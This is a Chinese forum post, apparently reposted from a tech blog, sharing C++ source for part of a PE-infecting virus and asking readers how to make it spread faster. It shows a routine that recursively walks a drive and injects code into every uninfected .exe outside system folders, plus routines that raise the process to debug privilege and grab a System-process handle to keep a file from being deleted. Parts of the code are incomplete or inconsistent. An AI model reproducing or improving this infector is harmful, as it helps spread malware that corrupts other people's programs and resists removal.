上山打老虎 发表于 2021-8-3 14:24:08

PE型感染病毒 —— 遍历磁盘PE文件 (2)

自己在测试过程中,感觉效率不是很好,所以希望哪位大佬能提出宝贵的意见,在此深表感谢!
1、遍历磁盘中PE文件
/************************************************************************//* 函数说明:遍历感染指定驱动器中所有exe文件/* 参    数:驱动器名称,如C:/* 返 回 值:遍历的数目/* By:Koma   2009.12.18 23:55/************************************************************************/int EmuDiskFiles(LPCTSTR lpStr){CFileFindfd;CStringstrWild(lpStr);CStringstr = fd.GetFilePath();      // 获取每个文件的绝对路径intnTemp = 0;      // 最大启动5个线程同时感染BOOLbRet;HANDLEhThread;DWORDdwTid;strWild += _T("//*.*");// 查找类型bRet = fd.FindFile(strWild);// 开始查找while (bRet){// 如果不为空,继续遍历ReEmu:bRet = fd.FindNextFile();// 查找下一个文件if(fd.IsDots())// 过滤目录自身与上层目录continue;else if(fd.IsDirectory()){// 判断是否为文件夹CString str = fd.GetFilePath();// 获取文件夹路径EmuDiskFiles(str);// 继续遍历子目录}else{int nTemp1 = str.Find("WINDOWS");// 如果是XP系统目录则跳过int nTemp2 = str.Find("WINNT");// 如果是WIN2000系统目录也跳过if(nTemp1>0 || nTemp2>0)goto ReEmu;if(str.Find(".exe")>0){// 判断是否为exe扩展名if(!IsInfect(str))// 判断是否感染过{di.m_strFilePath = str;    // 设置感染文件的绝对路径hThread = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadInject,(LPVOID)(&diInject),NULL,&dwTid); WaitForSingleObject(hThread,INFINITE);//InfectPE(str);}continue;}}Sleep(10000);                           // 10秒种遍历一个文件}return 0;}
2、进程提权、保护文件
/************************************************************************//* 函数说明:提升进程权限到debug权限/* 参    数:无/* 返 回 值:无/* By:Koma   2009.12.17 21:20/************************************************************************/void RaiseToDebug(){    HANDLE hToken;    HANDLE hProcess = GetCurrentProcess();// 获取当前进程句柄   // 打开当前进程的Token,就是一个权限令牌,第二个参数可以用TOKEN_ALL_ACCESS    if (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))    {      TOKEN_PRIVILEGES tkp;      if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges.Luid))      {            tkp.PrivilegeCount = 1;            tkp.Privileges.Attributes = SE_PRIVILEGE_ENABLED;            //通知系统修改进程权限            BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);      }      CloseHandle(hToken);    }    }/************************************************************************//* 函数说明:保护文件防止被轻易删除/* 参    数:无/* 返 回 值:无/* By:Koma   2009.12.17 21:42/************************************************************************/BOOL OccupyFile(LPCTSTR lpFileName) {   RaiseToDebug();// 提升权限   // 打开syetem进程,打开前必须赋予PROCESS_DUP_HANDLE权限   HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);    if (hProcess == NULL)   {         hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 8);         if (hProcess == NULL)             return FALSE;   }   HANDLE hFile = NULL;   HANDLE hTargetHandle = NULL;   // 创建一个文件,当然这个文件可以是本来就存在的   hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_EXECUTE | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);      if (hFile == INVALID_HANDLE_VALUE)   {         // 文件创建或打开失败         CloseHandle( hProcess );         return FALSE;   }return TRUE;}


文档来源:51CTO技术博客https://blog.51cto.com/u_248709/3254282
页: [1]
查看完整版本: PE型感染病毒 —— 遍历磁盘PE文件 (2)